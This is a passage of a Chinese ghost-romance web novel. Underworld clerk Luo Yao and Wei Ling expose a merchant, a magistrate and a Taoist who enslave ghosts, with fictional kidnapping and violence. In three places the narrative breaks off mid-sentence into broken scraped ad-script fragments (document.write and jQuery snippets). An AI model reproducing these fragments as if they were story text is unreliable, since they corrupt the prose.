夹枪带棒的讽刺让这群刚出山的道士全都抬不起头,羞怒交加,“公子不明情况请慎言,先前不是没有其他道长去降服王心莲,但之前来的人全都无辜死亡,因而但凡想保命的,都不会不顾安危来沁阳。” 他们要不是担心有更多的百姓遭殃,才不会顶着空无本事招摇撞骗的骂名过来呢! “王心莲并非普通小鬼,她害了这么多人恐怕早就化作厉鬼,我们自认能力不济,但若遇上王心莲的鬼魂也断然不会退缩半步。” 年轻气盛的小道士个个气得梗直脖子,若不是因为斗嘴的只是个普通百姓,定要让卫凌试试桃木剑的厉害。 这群小道士虽然本领尚未修成,倒都有一颗侠义之心,洛遥连忙赔罪,“我夫君不了解情况言语有失,诸位勿怪,实在是因为最近的情况影响到了家中生意,故而一时没控制好情绪。” “哦?你们是个生意人?” 李善人很意外,这年轻人心直口快不懂逢迎附和没有生意人的半分圆滑只有满身棱角不像是块做生意的料子,怕是继承了家里的几分薄产,没经过生意场上的风浪就出来凭着一腔意气鲁莽。 一番分析,对卫凌便又看轻了几分。 卫凌没有反驳,他知道小鬼恐怕又有了新的计划,手掌忽被一只冰凉的小手拉住,暗示性地捏了下,卫凌不自觉勾唇,在她要抽回手时用力回握。 洛遥又捏了下,示意他放手,不料卫凌却不配合丝毫不顾及他人目光,我行我素,眼神中还似有几分得意,望着洛遥时,她似乎读懂了卫凌‘想让我配合,就别想撒手’的意思。 她只好作罢,忽略众人盯着手心相握的目光,“沁阳素来是鱼米之乡,我和丈夫便是做米粮生意的,近来怪事不断,生意上也不甚景气。” 听两人是做米粮生意,李善人顿时竖起耳朵,“不知这位官人姓名我也是做米粮生意,若娘子信得过我,你们有困难大可来李府找我。” “在下卫凌,那就多谢李老板了。” 卫凌?没听说过,沁阳就这么大块地方,有头有脸的人物都和他有所交涉,没听说过米粮生意里有卫凌这号人,那就只能是不入流的小商贩了。 打听清楚情况后,洛遥便同众人告别。 摊开叠成三角的明黄护身符,洛遥感觉手心滚烫,要是因为鬼吏官印护身恐怕手掌能被这辟邪的符纸烫出一个洞。 “这符纸当真有辟邪的效果,但若如那几个道士所言,厉鬼连道士都敢杀,恐怕要从冤魂转化成邪物。” 洛遥考虑到时要不要从地府暗中增派人手过来,希望那个溺死鬼能给点力,别让鬼殿大人发现。 滚烫的热茶端在手心久了也会不舒服,洛遥捏着符箓一角不适地揉捏掌心,手上的符箓忽然被抽走,转眼在卫凌指尖化为灰烬。 “既然不舒服还拿着做什么?” 洛遥有些可惜,“没准遇上那恶魂还能在关键时候用上呢?” 指尖灰烬被弹得一干二净,“我难道还不如这一道破符纸。” 求人不如求己,关键时刻怎么能把希望全都寄托在自己的竞争对手身上,她掩下眸底情绪,卫凌却仿佛瞬间洞察了她的想法,“女人都是口是心非吗?说好你我合作,心里又是另一番打算,你有把我当成你值得信赖的合作人吗?” 卫凌虽然行事高调,但并脑袋空空,洛遥只是惊讶他能这么快发现自己心里隐秘的小心思。 她原本打算借着卫凌抓住王心莲,就把他一脚踹了,各自散伙,只要她在地府不出来,不信卫凌还能去地府抢人。 “我知道王心莲对你而言至关重要,不然你也不会一人来人间调查,”他眼神如炬不容洛遥闪躲,“但你怎么会认为我会是你的阻碍。” 气氛久久沉默,洛遥并不想在这个节骨眼上和卫凌闹掰,最起码现在不行,大脑飞速运转,想着现代社会渣男挽留女朋友的好话,但半天也没有找到句合适的。 硬着头皮刚要解释,卫凌就率先打破沉默,“回去吧,商量接下来的对策。” 洛遥松了口气,庆幸他没有抓着不放,一路将设想好的计划与卫凌讲述一遍。 *** 比起往日如今地府的气氛沉闷压抑,主座案台上的折子堆叠成一座座小山,随着那一座座 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小山慢慢消减,气氛也越来越沉。 清瘦的手指抽走已经过半的折子,只翻开一眼就砸向跪在底下人的脑门上,“这就是你们这些年办的事情?” 黑压压跪倒一片,水弓也跟着跪在下首,头是一点也不敢抬起来,生怕对上一双骇人的怒眸,藏在房里没有让洛遥放走的几个女鬼也全被他处理了,他实在怕被殿主查出什么小命不保。 “阴魂失踪,活人枉死,厉鬼作乱,你们都是干什么吃的,还是地府的生活过于安逸养废了你们的鬼爪子?” 上首的男子并不是地府鬼物张牙舞爪的样子,模样清俊,穿着素白儒雅的袍子手持书册一身独特书生气,但真拿他当手无缚鸡之力的书生就错了。 忘川河底痛苦嘶吼的鬼魂都是出自这位的手笔,如今恐怕又要来一遭了。 跪成一地的鬼差已经成了瑟瑟发抖的鹌鹑。 这些年地府的烂账已经垒了一堆又一堆,他们唯有期望这位大人能漏掉他们手里的某几件案子。 水弓已经把记录王心莲的账簿藏了起来,希望能拖上一时半会,都怪洛遥那个奸诈的女人,要不然他也没必要冒着掉脑袋的风险做事。 账本已经查了大半,该骂的也都骂了,殿内可怕的气息也缓和了不少,但不知为何又陡然凌厉。 “为何没有王心莲的命簿?” 冰冷的声线敲打在头顶,水弓一个激灵,额头直冒冷汗,殿主怎么知道王心莲这个凡人的存在? 从这么多案子中单独拎出来说,明显是极为重要。 水弓牙关颤颤发抖,暴露洛遥的行踪事小,就怕那小娘皮狗急跳墙拖自己下水,死也要拉他垫背。 见没人回答,四下气氛更冷,“是不敢说,还是不知道!” 各人负责自己手里的人员,还真没有人知道一个叫王心莲的,当然和洛遥前上司狼狈为奸的水弓除外,为了避免怒火殃及自己只好硬着脑袋回答,“殿、殿主,王心莲的命簿貌似如今是位新上任人的小官负责。” “此人叫什么名字为何没来?” “小官名叫洛遥,至于为何没来属下不知。”水弓只能装傻充愣拖时间。 听到洛遥这个名字,不少鬼官倒是想起来了那个备受关注的小鬼吏,有知情的官员连忙回答,“听说是有事去人间了,不知为何至今未归。” “她离开多久了?” “十天。” “地府官员擅入人间不归,倒是胆子不小,就是不知道能不能顶住地狱十层的刑罚。” 鬼殿之主轻飘飘的声音让众人齐齐哆嗦,可惜那个刚上任的美人同僚马上就要香消玉殒。 按照殿主要求带来洛遥管理命簿账本,众人不知刚才还阴郁沉沉的男人为何忽然看着命簿浅笑一声。 鬼殿之主翻开命簿之后,没有像刚才那样一目十行,而是仔细注视着乱七八糟命簿上的标注,按照出生地点,性别,死亡时间,这些杂乱的名单被整理成一张张清晰的表格,看着胀痛的眼睛都顿时舒服不少。 而表格上清晰的空白部分就是历来失踪不明的鬼魂,其中王心莲的名字被重点标红并标注失踪时间,十年。 他们这群废物在哪找出这么一个聪明人。 乌云渐退,阴沉消散,众鬼都感到了凝滞的气氛缓和,不明所以之际就听见啪的一声,是命簿合上的声音。 “王心莲枉死失踪十年你们都未察觉,竟是让一个刚上任一个月的小官发现了,上任鬼吏何在?” 水弓有种不祥的预感。 “上任鬼吏同啸一个前已经请辞,去南境边际之地任职了。” “倒是玩得一手金蝉脱壳。”一声极浅的声音让众人如临寒冰炼狱,“即刻缉拿,免职押入地狱十八层。” 诡异的安静中有淡淡的嘶声,地狱十八层那可是抽筋扒皮,刀山油锅每天都不重样的酷刑炼狱,只听说过有鬼进去至今还没见哪只鬼能安然出来。 8. 第 8 章 当晚,洛遥退掉了客栈,两人在城中处买了座宅子,又用法术给原本的宅子精加工了一番,整座宅子气派辉煌要多张扬有多张扬。 金漆牌匾上‘米粮供应商’几个字熠熠生辉,门口两座镇宅石狮子都是一人多高,朱红大门上一对貔貅铜扣,威风凛凛,高墙琉璃瓦,一眼有钱。 因此,次日就吸引了百姓的注意,知道了这里有个横空出世的米粮商开业了,第一天新店开业送福利,凡六十以上老人或伤残病弱者皆可领取一袋免费粮食。 消息不胫而走,一大早围满了百姓,卫凌见她忙碌得脚不沾地暗笑,“现在不觉得行事高调了?” 洛遥已经没有时间再慢慢抽丝剥茧,只能在最短的时间内采取最有效的方式。 “既然王心莲盯着壮年的米粮商何不将计就计,看看背后的究竟是人是鬼?”她神神秘秘从袖中抽出一本书,略带揶揄塞到卫凌怀中,“只是晚上的时候,你要多加注意了。” 卫凌拿过一看正是那本鱼戏莲花的春宫话本子,他看向洛遥一脸‘这是什么意思’的表情。 “之前死的人生前都看过这个话本子,为了排除其他干扰因素,尽量将场景复原。” “若是李善人那话本子只是掩人耳目,他一定会想办法对你下手,但真是王心莲,那看了话本子,她必定要找上门来。” 虽然洛遥觉得后一种可能性不大,毕竟沁阳看了话本子的人不在少数,但也没见人人都死,前面死的几人明显有利益牵扯,背后一定有人为利益牵扯。 只不过,考虑所有的可能性,才能最快得到答案。 还有一点洛遥没说,他想着要不要今晚和卫凌分房睡,毕竟夫妻同睡,放着漂亮老婆不要,却熬夜看春宫话本子怎么瞧都不对劲。 被她找来的临时员工正在按人头发放粮食,洛遥扯着卫凌的袖子小声道:“等下我们配合演一场吵架戏,晚上分房睡。” “不行!” 卫凌脱口而出想也没想,声音也忘了掩饰,周遭的视线吸引而来,洛遥差点当场捂嘴。 在密谋呢,这么大声做什么,不行就不行吼什么,是怕别人都不知道吗? 意识到自己反应过激,连忙解释,“我是怕我们分开行动会增加风险,在彼此身边才好顾及。” “我就怕那东西不下手呢,”况且真冲卫凌去的话她岂不会跟着遭殃,“我们分开,看看那东西是针对你还是针对我。” 最后,还是敲定二人各自分房。 洛遥了解了李善人的相关事迹,此人基本垄断了沁阳的米粮生意,让其他小商贩无路可走,偏偏蒙在鼓里的百姓一无所知,平时被他施点米粥或者米饼的福利感动。 简而言之,是资本家垄断市场再用红包福利吸引用户的基本手段。 洛遥直接复刻了李善人的路子,不同于他的小恩小惠,直接就送把大的,成山的麻袋大米一袋袋往外扛,不知道的还以为是什么赈灾现场。 这番举动自然惊动了待在府上的李善人,同样还有传来的善人夫妇米粮供应商的好名声。 李善人匆忙赶来,顺便听了一路的夸赞声。 “善人夫人才是真正的有德之人啊,比李善人好多了,要不是有这袋大米,我倒要挨上几个月的饿。” “是啊,我还参加了试吃活动,这大米可真香甜。” “买粮食还得买善人夫妇家的,李善人家的不太行。” 夸就夸,怎么还带顺带拉踩的。 熟悉的操作李善人再清楚不过,心头一哽,一口气不上不下,来到府门前,顿时被这座富丽堂皇的宅子惊住。 这得多少银子才能建成?这两人什么来头? 门口成堆码放整齐的粮食还在派送给百姓,这些恐怕一个大厅都放不下,这两人还真下得了血本,也不怕亏本。 门口支起一口大锅,大白米粥香气四溢,旁边挂着免费品尝的牌子,浓郁的清香让他都忍不住想挤进人群中尝一尝。 但碍于脸面,没能拉下面子。 “这是二位的宅子?”李善人还是有些不相信,什么时候凭空出现了这么值钱的宅子,明明如此有钱两人还偏偏一身布衣,要是想低调,又大张旗鼓做什么? 洛瑶猜到了他的想法,“先前还不了解沁阳,所以能低调就低调一点,正所谓财不外露嘛!” 李善人不放心,又探了探底细,“不知公子令尊可在府上,既然来了沁阳,我也应该拜会一番。” 李善人坚信卫凌是个继承家产的阔少,并且话里话外是要结交阔少背后真正的有钱爹的意思。 “不好意思,我爹死了。” 李善人:“......” 那你们这么有钱? 洛遥连忙接话,“我家公公以前是京城的皇商,后来病逝,我们在京城发展不顺二人才准备将产业挪到沁阳。” 只不过继承家里的千万遗产罢了。 李善人顿时明白,原来是两个抱着金元宝招摇过市的傻子,两人在沁阳举目无亲就算了,偏要彰显自己有钱,怕是谁都想来啃一口。 见李善人提溜的眼珠子,洛遥不用想也知道他心里盘算着怎么把傻瓜富二代继承的遗产吃掉。 于是,扯着卫凌的衣袖装作天真的样子,“今天的事情做完了,以后他们肯定都会来我们家买米了,任务完成了,我们回家歇息吧!” 照这样发粮食,这两个蠢货不亏就算了,还想挣钱?李善人心里鄙夷,面上笑得越发和善。 蠢点好,蠢才能死得快。 洛遥像看不出他眼里的嘲讽一心拉自己丈夫回家闹脾气的小娘子,卫凌管也不管还晾在原地的李善人,牵着自己闹脾气的娘子回去,并温声安慰,“好好好,我们现在就回去,把这群碍眼的人都赶走。” 闹脾气的小娘子终于满意了,拉着自己夫君的衣袖晃啊晃,这一晃就飞出来一个东西,好巧不巧正砸在李善人脸上。 “什么东西?” 白花花的脸上火辣辣印着一块明显的书印好似被人狠狠抽了一巴掌,李善人骤然大怒,一看扔出来的东西,竟是无比熟悉的话本子,正躺在地上摊开,画上两位赤裸人物交缠,正表演极其复杂高难度的艺术行为。 人群中不知是谁先发出一声惊呼声,接着全都是看戏的八卦目光,之见刚才娇俏的小娘子勃然大怒,一把撒开衣袖,“好啊,你竟然背着我看这种东西,难不成我还没有画上的人还看吗?” 卫凌:“......没有。” 矛盾爆发的太突然了,他几乎还没有反应过来。 “没有?没有你出门都舍不得放下,这是黄金吗,让你这么恋恋不舍,我看你以后就抱着那话册子过一辈子好了。” “......” “为什么不说话,不是心虚了吗?今日看春宫,明日是不是就要上青楼啊!” “......” “平时嘴里念叨着喜欢,这就是你的喜欢?我还没有一本书重要,你今天是要我还是要书!” “......” “当然是要你。” “要我?我看你是有口无心,要不然你到现在也不至于连错都不认,你是不是觉得你没错!” “我错——” 沉重的大门硬生生在卫凌面前砰的一声关上,吃了他一鼻子灰。 一连串字字珠玑的炮轰,卫凌甚至还处于懵圈状态,没能像洛遥那样游刃有余的演技中切换过来。 小鬼刚才是在演戏吧? 看她那么生气,好像又不是完全没生气的样子? 李善人一腔怒火没处发,见那桀骜嚣张的青年被骂得抬不起头来,顿时心情畅快,恨不得拍手叫好,把那小娘子拉出来再骂几顿。 脸上虽然还疼,但他也不能和这大少爷直接闹翻脸,只能装作不在意的样子,笑容和善,“女人就是爱吃醋,卫公子不用着急,晾她几天就好了。” 年轻人并没有接纳他的好意,相反语气不善,“为什么要晾几天,你是不是就指望着我们夫妻感情破碎。我就知道我家娘子走到哪,臭虫就跟到哪。” 李(臭虫)善人:“......女人不能惯着,惯着她就得骑你头上。” 他只见这个冥顽不灵的青年从地上捡起那本册子,认真查找起来,“原来惯着能让她骑我头上,这个姿势书上貌似没说,正好回去试试。” 李善人:“.......” 不是,这人脑子有问题吧,听不懂人话。 围观扛大米吃瓜群众:年轻就是好啊,敢想还敢做! 他们也想日日春宵红帐暖。 晚上,两人还是按计划分房,卫凌把主卧让给洛遥,自己则去了书房,并交代有情况记得摔杯求救,商量好洛遥便早早入睡,床头只留一盏照明的烛火。 床幔刚放下,烛火便晃动不止,许是动作太大,晃动了烛台,洛遥怕火烧到床榻,起身吹灭了蜡烛。 房间顿时陷入黑暗,只有依稀从窗纸透过来的稀薄月光,但这并不影响她的视线,鬼差本就是夜间行事,她只是刻意遵循人的生活习惯。 转身走向床榻,却感觉什么东西一晃而过,再一看身后却什么都没有。 洛遥瞧着自己神经兮兮的动作也有些好笑,她可是鬼差,若是有鬼物出现也是第一个察觉的。 回到床边,放下窗帘。 一道人影倏然出现。 “淦!” 见鬼了,这东西什么时候出现的? 悄无声息出现,甚至没能让她察觉一丝一毫的痕迹,怕是个不好惹的角色。 摸到枕下藏着的杯子,迅速往地上砸。 杯影破 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开帷幔,犹如坠入深海悄无声息,洛遥只见那影子越靠越近,手掌正把玩着刚才她丢的杯子。 “你在找这个吗?” 极其好听的声音,温润无害,让人想到初春细如毫毛的绵绵春雨,落到身上也是柔柔缓缓的,但洛遥知道这全都是浮于表面的假象,她甚至不敢掀开毫无抵抗作用的床幔。 生怕比她动作更快的是,人头落地的声音。 许是感受到了她的紧张,那道声音更加和缓,“不用害怕,我没有打算伤害你。” 骗人!自古鬼话多连篇,信鬼早晚上西天。 “姑娘不敢相见,还是我来吧!” “不用。” 伸头一刀,缩头也是一刀,还不如自己来痛快点。 洛遥的当即掀开床幔,差点撞到这东西身上,抬头愣了半天。 这鬼东西,长得倒是好看,斯文秀气,好像她才是女鬼,而他是误入南若寺的令采臣。 “......你是?” 男人并没有回答她的问题,而是率先报出她的身份,“你是掌管临东之境命簿的鬼吏洛遥?” 把她底细摸得这么清,甚至管辖区域都知道,洛遥顿觉不对,收敛惊惧正色道:“正是。” 男人自顾在旁边的檀木椅坐下,“你刚上任一月,没见过我的样子正常,不过,我想你应该听过我的名号。” 不对劲的感觉更重了。 “死殿之主。” 洛遥的心顿时沉入湖底,完了她就知道王心莲很重要,丢了这个魂很难小命不保,但也不至于劳动传言中的这位大人亲自来拿她吧。 她只是一个苦逼接盘侠,真不是她渎于职守啊! 终于明白忘川河底下的阴魂怎么成天鬼叫喊冤了,她是真冤枉啊! 洛遥膝盖发软,恭恭敬敬跪在了地上,脑子里疯狂浮现小鬼被下油锅的画面,只觉得后背开始幻痛。 “殿主,我自知有罪不该擅离职守,私闯人间,但实在因为上任之时查到账本有误,所以擅自调查。” 上首的声音没有任何起伏,“为何不上报调人来查,而是独自行动?” 当然是想偷偷摸摸把账本上的坑填平,然后就此揭过啊! “下官怕打草惊蛇得不偿失,毕竟我的前上司也曾派人查找,但毫无音讯还损失几名鬼差。” 该死的扒皮上司,今日她遭此横祸怕,你也别想逍遥法外。 “你的前上司确实是个自作聪明的蠢货,”苛责的话让洛遥的头埋得更低,“想要金蝉脱壳可惜已经被带回来羁押于炼狱十八层。” 一滴冷汗从洛遥额头滴落。 这句话什么意思,是她也要被关进十八层炼狱了吗? 地狱十八层,刑罚一层层加重,十八层是最求生不得求死不能的炼狱,就算渎职她也罪不至此啊! 冰冷的手指抬起了她的下巴,“你是不是觉得我的手段过于无情。” 这叫她怎么说?简直变态呀! “殿主英明,自有一番决断,若玩忽职守者不罚,其他鬼吏必会争相效仿,届时人间动荡更多人受灾,地府恐也会受到波及。” 男人歪头微微笑了,“倒也不至于这么严重。” 洛遥觉得自己一番精彩的马屁吹在空气上,男人油盐不进的样子,让她心里只剩冰凉。 可男人瞧着如丧考妣的她竟笑意更深,让她差点心理崩溃哭出来。 “好了,我不是来抓你的。” 男人手指微抬,洛遥就感觉膝盖被一道力量托举起来,“我已经看了你批注的命簿,条理清晰,做个小小的命簿鬼吏倒是委屈你了。” “你来人间事出有因,我恕你无罪,不过地府不容徇私,早日把王心莲的魂魄带回以功谢罪才能服众。” 洛遥心下一喜,连忙点头,“多谢殿主,洛遥自会竭尽全力,不负您的期望。” “这期间我不会出手相助,洛遥,让我看看你的能力,是否成为站在我身边的助力。” 这是许诺了一个可以让她飞黄腾达,从基层公务员秒变御驾身侧大红人的机会。 洛遥激动难当,“殿主我一定带回王心莲。” 再抬头,房间中已经没了人影,她抓住桌面上空荡荡的茶杯才确信刚才不是臆想的幻觉。 “你抱着茶杯傻乐什么呢?” 凭空的声音吓她一大跳,“你到我房间里来做什么,按照计划你应该在书房。” 凌厉的目光扫视房间的每一处角落,“我刚才感觉到了一股强大的力量波动,这里有人来过?” 洛遥并不想多生事端,告诉他自己即将升职加薪的光明未来,“哪有什么人,你可能感觉错了,你快回去吧,让那东西察觉就不好了。” 急急的催促声,让他在心里暗骂了一句没良心,转身便消失在房间。 9. 第 9 章 木制的平推窗户,触碰时很容易弄出动静,若是善于撬门扒窃的高手也可以将响动做到最低完全不会惊动熟睡中的人。 但洛遥是个例外,此时她正捧着茶杯,还以为刚才微小的动静是那位大人重新回来了要交代什么。 结果,就是黑暗中两两相望,大眼瞪小眼,黑衣人也被洛遥吓了一跳气息不稳,看清屋内只有她一个弱女子后迅速反应过来,拿出准备好的迷药手帕捂住她的口鼻。 一般的毒药对于鬼神之体无用,洛遥只能自己演戏,挣扎片刻软倒在黑衣人怀中。 捂住口鼻的手松开,又在她脸上磨蹭几下,洛遥差点装不下去一脚飞踢过去。 所幸黑衣人为了尽早完成任务没有久留。 从围墙翻越之后,扛着她一路飞奔,洛遥眯着眼睛觉得这条路线有点熟悉,果然没过一会儿就看见黑衣人翻进了李善人的府邸。 她就知道姓李的不是个东西。 黑衣人避开在李府暂歇的几名小道士住的东厢房,从西面绕路把人带到书房,李善人就等在这里,确认他背上的是洛遥小娘子无疑,下拉的眼角勾起浮肿褶皱。 “那个男人处理掉了吗?” 黑衣人汇报:“县令大人已经安排好,那个男人活不过今晚,明天午时又要多一具焚尸。” 李善人又大笑两声,抚着拇指上的玉扳指忍不住幻想自己住在那座金碧辉煌宅中的场景,黑衣人不放心问了一句,“此女子失踪恐会引人怀疑,要不要放把火伪造现场。” “放什么火!”那个宅子一丝一毫都不得损坏,光看外表都如此华丽,里面恐怕藏了价值连城的宝贝,要是被一把火烧坏,他岂不是亏大了。 “谁不相信是王心莲的恶魂作祟,不必多动手脚。” 黑衣人不再多言,李善人走到墙边拎动画册背后的开关,一条地道便出现在地板上,“跟上来。” 进入之后,地道自动关闭。 等在另一边的是身形削瘦,眼露精光的吊梢眼男人,身上官服未褪,望着地板来回踱步。 许久之后,地道终于从里面打开,男人喜不自胜,拱手道谢,浑浊的眼珠子直往黑衣人背上瞟。 “贤弟劳烦你大晚上为我送货,这就是你说的那位不可多见的美人?” 李善人拍着胸脯打包票,“我怎么可能给大人找次品,漂不漂亮你一看便知。” 黑衣人把人放在一旁椅子上,赵县令拨开脸上凌乱的发丝,顿时瞧见了一张美人面,顿时便心痒难耐。若不是有人在场恨不得立马翻云覆雨。 李善人知道赵县令好色,正因为好色才有弱点,两人之间才能有稳固的合作关系,借用赵县令的权利,壮大自己的生意。 本想和赵县令商量明日的计划,但赵县令这个色欲熏心的东西已经迫不及待赶人,两人只好退下,不去搅了他的雅兴。 伸手就要触及美人便被早就装不下去的洛遥一巴掌拍开,“你是沁阳的赵县令?” 清醒的美人又是一番光彩,被人掳走依旧能镇定自若,只是过于煞白的脸色暴露了她的惊慌,赵县令忍着被打痛的手背,忽略心中不快,多了几分耐心。 “美人莫怕,我正是沁阳县令。” 若是洛遥知道他心里的想法恐怕会忍不住吐槽,她脸白是因为这是地府限定皮肤。 “沁阳死的那些米粮商都是你和李善人杀的,却故意用王心莲鬼魂作乱当借口。” 柔弱的小姑娘能在被贼人掳走后,迅速推断出事情经过,并与沁阳的几桩命案联系推断出真相,赵县令也不得不重新审视面前之人。 “姑娘当真聪慧,不过却推错了一件事。” “这些人的死虽有我和李贤弟的手笔,但杀死他们的却是王心莲。” 察觉出洛遥不相信,把残忍的话直接剖到洛遥面前,“如今你的丈夫怕已经被王心莲吸了精魂只剩下空壳子了。” 洛遥依旧无法将李善人、赵县令和王心莲三人联系起来,王心莲的丈夫死后,赵县令继任原先职位,王心莲又为什么不归地府反而为赵县令驱使? “是你,你控制住了王心莲。”洛遥语气肯定,“那位老道士也是你的人,你们控制了王心莲的尸身让她魂魄不得解脱为你们办事。” 一个寻常小姑娘怎么可能分析条理如此清晰,并且一言道出了他布的一场局,赵县令不相信她只是侥幸猜对,吊梢眼角顿然凌厉,“你是来查我的?” “凭你,和你脑子一根筋的丈夫?” 就算洛遥扒开这一场精心布置的一场大局,赵县令内心仍旧镇定,“上一个想要调查的道长已经成了孤魂野鬼,区区凡人也想和鬼神之力对抗,你要是听话,我不会伤你性命。” “谁要谁性命还不一定呢!” 男人脸上浮想联翩的淫/欲,叫人倍感厌恶,洛遥抽出鬼鞭决定直接用暴力手段,赵县令还没看清怎么凭空出现一条朝自己脸上抽的鞭子,立即反手格挡。 没有像预料那般将纵情欲望的男人一鞭抽倒,洛遥反倒是被一道金光反弹到墙上。 那是什么? 金光依旧包裹在赵县令身上,光源来源于男人脖子上的珠串,珠串不过是小指大小的珠子,上面刻着繁复的符咒,是老道长给他防身免受阴魂攻击的法器,但是在人的手里只不过普通装饰品。 平时王心莲对此物颇为忌惮,那些鬼物更是不敢近身,见到被攻击受伤的洛遥,赵县令脸色大变。 “你是鬼?” 赵县令拿着珠串往洛遥身边靠近,果然看见她步步后退。 “好你个李老头居然拿鬼骗我。” 美人变成鬼物,赵县令顿时失了兴趣,“一个小鬼也敢和我作对,叫你有来无回。” *** 书房中卧榻上的男人已经深睡,他的旁边正放着沁阳有名的春宫话本子,话本子已经快翻到最后一页,想必是熬夜翻看撑不住才睡。 门缝中一团黑气飘过来,凝成一团人形,趴覆在男人身上吸食生魂精气。 蓬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 勃的生命力在血脉中流动,没有阴魂能拒绝这样的诱惑,阴魂准备大快朵颐,可床上的男人却忽然睁眼,轻而易举捏住他的脖子。 阴魂穿墙来去自如,像雾气无法捕捉,却在男人手里死死困住无法挣脱。 “张明?” 没有见到预期索魂的王心莲,却碰上刚死不久米粮商张明。 被人认出张明又是一惊,“你认识我?” “我想沁阳的百姓都看到过你被焚烧的尸体。” 将这团东西丢在地上,卫凌才起身,张明没了桎梏也不敢逃跑,他相信那个男人能轻而易举灭了他,见男人视线逼视而来,未审先招,“饶命,我不是故意想杀你的,是那老道士逼我干的。” “老道士?” “是赵县令身边的那个老道士,我的棺木上被钉上锁魂钉不能轮回,日日承受煎熬,成为老道士手里奴役的鬼兵,我不按照老道士的要求办事就要魂飞魄散。” “原来如此。” 卫凌将张明暂收乾坤袋,来到卧室,果然只看见了空荡荡的床铺,还有地上完好无损的茶杯,像是被人刻意丢弃。 他只觉胸腔烧起一团火焰,翻滚沸腾怎么也无法平静,洛遥没有按照计划摔碎杯子。 自己为她支援的保障就像是个笑话,她也许还觉得自己过去会打乱她的计划。 越想越憋闷,被他拾在掌心的瓷杯瞬间化为糜粉。 转眼间房间空无一人。 *** 虽有官印护身,但到底洛遥也是阴魂,在强大法器之下,身体仿佛被大山压住,脚步被黏在地上,移动一步都非常艰难。 赵县令被人戏耍,打定主意不放过她,见她惧怕法器珠串,扯过她的头发,甚至要把这东西往她嘴里塞,那样她一定会被烫熟。 一团黑影忽然从赵县令身后出现,把他推得一个趔趄拉着洛遥就往外跑。 洛遥看清楚了忽然出现的救兵,庆幸之余又是惊喜,“王心莲。” 她找了这么多天的人终于出现了,还在关键时候救了她。 王心莲的后背骤然绷紧,声音沉闷:“赶紧跑。” 她穿着藕色莲花裙,不知为何都是破破烂烂的大洞,长发毫无修饰披散在后背,衣裙上都是鲜血,显然生前经历过不好的事情。 把洛遥拉出来后,王心莲便停下脚步,又催促一声,“赶紧走。” “你不跟我一起吗?” “我走不了。” 王心莲看起来并不是不想逃,而是脚步像钉在了地上不能移动。 “她当然走不了,你也别想逃。” 瘦竹竿似的赵县令已经追了出来,洛遥焦急万分,她逃了,王心莲怎么办? 没有任何让她考虑对策的时间,当拿着拂尘的老道士出现时,局势又开始不利。 老道士念起咒语,手里的符纸纷纷飞向王心莲身上,散发的咒光刺得王心莲痛声哀叫。 老道士打量着她,“你就做我手里的鬼兵吧!” 10. 第 10 章 一抹星光刺破天际,急急坠落,等冲到面前时才叫人看清那是一把刀光毕露的红缨枪,势如破竹将打在洛遥头顶的拂尘钉在地上。 脆弱的拂尘不堪一击,碎成几块烂木渣。 “老匹夫你胃口也太大了些,地府鬼差也敢动。” 红缨枪重新回到了主人的手上,洛遥看着挡在面前的背影唤了一声,“卫凌。” 洛遥确信自己的声音能够让他听见,但男人没有回应她,甚至没有审问老道士眼前的情况便一枪穿透他肩膀,这一击让老道士直接半废。 剩下一个发现情况不对的赵县令也被他横扫劈断双腿,软趴趴瘫在地上痛吼。 原本想让他帮忙将人捆住的话全都憋了回去。 此刻卫凌的背影与初见之时重叠,那时他就轻飘飘把蛇妖砍成了几段,洛遥甚至以为自己马上就要像那蛇妖一样死状凄惨。 肃杀的气氛让她心惊胆寒,于是下意识拉着王心莲往后退了几步,卫凌像后背生了眼睛一般,忽然回头,冰冷的眸子冻得她后背发凉,洛遥不禁回避,看向身边人。 “老道士是不是拿着你的尸骨威胁你?” 王心莲惊诧道:“你怎么知道?” 她指了指卫凌,“这位曾经在你的府邸抓过一只小鬼,那小鬼说自己尸骨被道长掌控逼迫她为人驱使。” 卫凌没有接她的话,脸色阴翳,沉默得有点反常,拿出乾坤袋将披头女鬼从里面抖出来。 洛遥不知道自己哪里得罪了这位主子,才让他一直给自己冷脸,只能小心翼翼避着,以免引火上身。 “你看是不是这两人?” 小鬼没见过两人样貌,一时间也有些不确定,但洛遥发现两人看到披头鬼时眼底的惊慌便知道是这两人没跑了。 她朝着赵县令的断腿踹了一脚,“还不认?” 赵县令肯定不敢再认一桩罪行,连忙求饶,“我不知道,我没见过她。” 闻见,刚才迷茫的小鬼勃然大怒,上来又是一脚,“我记得你的声音,就是你想要非礼我。” 披头鬼想要撕碎这个杀害自己的男人,被她拽到一边,“等等,我还有问题要问。” 披头鬼只好作罢,用眼珠子死死瞪两人。 “你知道自己的尸骨在哪吗?”洛遥问王心莲。 王心莲指着院中的一棵老槐树,“在这地下。” 她低吼着,声音像一把撕扯的破烂锯子,音不成调,“是他害了我和夫君,哄骗那些愚昧百姓,坐上了县令的位置,还想驱使我继续害人。” 低低的哭声在夜风中飘荡,洛遥不知如何安慰,把手搭在她肩上,轻轻拍了两下,她说不出过去的事就过去了这种毫无意义的废话,只能期望在痛苦中挣扎半生的人,能稍微宽慰。 卫凌一枪劈在地面,水桶粗的老槐树张牙舞爪倒下,露出树根下掩埋的红漆棺木。 棺木上钉满锁魂钉,一道金漆涂画的符咒,像绳子一样捆缚在棺椁上,禁锢着里面的恶鬼。 锁魂钉一根一根被红缨枪撬下,当棺盖打开时,洛遥看见了里面的惨状。 封在棺中的人,肩膀、四肢都被锁魂钉死死钉住,连眉心的印堂也不例外,难怪刚才见王心莲身上的衣服到处都是破洞,布满污浊的血迹。 “拔掉这些锁魂钉。” 钉穿肩膀的锁魂钉有手指的粗度,洛遥用尽全力都没能让钉子松动,反倒被滚烫的锁魂钉灼烧掌心。 她竟忘了锁魂钉专克阴魂之物。 白皙的掌心烫成焦黑的颜色,卫凌冷着脸将还想尝试的洛遥拉开,“你就不知道找我帮忙?” 